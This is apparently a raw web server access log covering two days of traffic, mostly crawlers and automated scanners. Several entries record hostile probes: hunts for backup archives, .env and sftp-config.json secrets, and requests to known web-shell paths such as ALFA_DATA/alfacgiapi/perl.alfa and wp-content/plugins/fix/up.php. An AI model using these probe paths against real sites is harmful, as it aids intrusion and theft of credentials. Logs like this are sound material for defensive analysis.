[10/Apr/2025:08:57:04 -0400] "GET /backups/public_html.rar HTTP/1.1" 301 795 "-" "-" 45.95.243.120 - - [10/Apr/2025:08:57:07 -0400] "GET /restore/www.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.145 - - [10/Apr/2025:08:57:08 -0400] "HEAD /back/sftp-config.json HTTP/1.1" 301 0 "-" "-" 45.95.243.151 - - [10/Apr/2025:08:57:10 -0400] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "-" 45.95.243.166 - - [10/Apr/2025:08:57:12 -0400] "GET /backups/backup.sql.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.109 - - [10/Apr/2025:08:57:16 -0400] "GET /back/web.zip HTTP/1.1" 301 795 "-" "-" 45.95.243.151 - - [10/Apr/2025:08:57:19 -0400] "GET /backups/backup.tar HTTP/1.1" 301 795 "-" "-" 45.95.243.166 - - [10/Apr/2025:08:57:21 -0400] "GET /restore/www.tar HTTP/1.1" 301 0 "-" "-" 45.95.243.135 - - [10/Apr/2025:08:57:23 -0400] "GET /restore/public_html.rar HTTP/1.1" 301 0 "-" "-" 216.244.66.236 - - [10/Apr/2025:08:59:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 196.251.117.23 - - [10/Apr/2025:10:17:22 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [10/Apr/2025:10:17:22 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [10/Apr/2025:10:17:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [10/Apr/2025:10:17:22 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [10/Apr/2025:10:17:22 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.117.23 - - [10/Apr/2025:10:17:48 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.236 - - [10/Apr/2025:11:20:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 194.146.38.112 - - [10/Apr/2025:12:17:36 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.25.1" 185.245.82.19 - - [10/Apr/2025:12:19:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:22:47 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:22:55 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:22:59 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:05 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:12 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:21 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:29 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:36 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:44 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:12:23:52 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [10/Apr/2025:13:11:33 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 92.255.85.164 - - [10/Apr/2025:13:43:23 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 216.244.66.236 - - [10/Apr/2025:13:58:49 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 134.209.103.14 - - [10/Apr/2025:14:02:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 198.44.190.84 - - [10/Apr/2025:15:06:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 107.151.219.183 - - [10/Apr/2025:15:25:41 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.236 - - [10/Apr/2025:15:46:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 152.42.239.199 - - [10/Apr/2025:16:01:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.186.190 - - [10/Apr/2025:16:05:37 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.186.190 - - [10/Apr/2025:16:05:38 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 195.20.18.175 - - [10/Apr/2025:16:30:58 -0400] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.135.148.92 - - [10/Apr/2025:16:33:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.135.232.50 - - [10/Apr/2025:17:40:14 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 157.230.185.203 - - [10/Apr/2025:17:58:14 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 196.251.72.179 - - [10/Apr/2025:19:44:47 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [10/Apr/2025:19:44:47 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [10/Apr/2025:19:44:48 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [10/Apr/2025:19:44:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [10/Apr/2025:19:44:58 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.162.51.197 - - [10/Apr/2025:20:14:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.51.197 - - [10/Apr/2025:20:14:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.51.197 - - [10/Apr/2025:20:17:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.51.197 - - [10/Apr/2025:20:17:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.140.58.13 - - [10/Apr/2025:20:40:37 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 135.119.137.158 - - [10/Apr/2025:20:47:26 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:34 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:43 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:46 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:47 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:48 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:49 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:51 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:53 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [10/Apr/2025:21:15:54 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 205.210.31.69 - - [10/Apr/2025:21:46:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 45.154.98.197 - - [10/Apr/2025:21:54:59 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 17.241.219.163 - - [10/Apr/2025:22:09:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 107.151.219.73 - - [10/Apr/2025:22:56:34 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 51.222.9.187 - - [10/Apr/2025:23:00:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 34.162.95.199 - - [10/Apr/2025:23:07:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.95.199 - - [10/Apr/2025:23:08:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.95.199 - - [10/Apr/2025:23:08:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.95.199 - - [10/Apr/2025:23:08:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 13.127.125.177 - - [10/Apr/2025:23:36:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 216.244.66.236 - - [11/Apr/2025:00:22:26 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 205.169.39.18 - - [11/Apr/2025:00:28:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 8.210.153.23 - - [11/Apr/2025:00:44:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.2011.139 Safari/537.36" 192.36.109.89 - - [11/Apr/2025:00:56:25 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 192.36.109.75 - - [11/Apr/2025:00:56:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 134.209.117.5 - - [11/Apr/2025:01:02:15 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 134.209.117.5 - - [11/Apr/2025:01:02:34 -0400] "GET /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 216.244.66.236 - - [11/Apr/2025:01:07:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 47.243.89.37 - - [11/Apr/2025:01:49:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3664.100 Safari/537.36" 42.83.147.55 - - [11/Apr/2025:03:08:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [11/Apr/2025:03:22:52 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.48.198.111 - - [11/Apr/2025:03:39:15 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 34.48.198.111 - - [11/Apr/2025:03:39:25 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 216.244.66.236 - - [11/Apr/2025:04:11:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 134.209.117.5 - - [11/Apr/2025:04:50:03 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 134.209.117.5 - - [11/Apr/2025:04:50:19 -0400] "GET /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 135.119.137.158 - - [11/Apr/2025:05:15:02 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:12 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:16 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:20 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:22 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:24 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:27 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:30 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:33 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.137.158 - - [11/Apr/2025:05:15:36 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 85.204.70.90 - - [11/Apr/2025:05:58:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 34.48.104.73 - - [11/Apr/2025:06:14:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 2001:67c:2660:425:3617:ebff:fee4:63ae - - [11/Apr/2025:06:16:34 -0400] "GET /__media__/js/netsoltrademark.php?d=example.com HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 216.244.66.236 - - [11/Apr/2025:07:24:26 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 196.251.80.168 - - [11/Apr/2025:08:14:38 -0400] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 217.142.191.67 - - [11/Apr/2025:08:16:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.142.191.67 - - [11/Apr/2025:08:16:23 -0400] "GET //woh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.142.191.67 - - [11/Apr/2025:08:16:34 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.142.191.67 - - [11/Apr/2025:08:16:43 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1"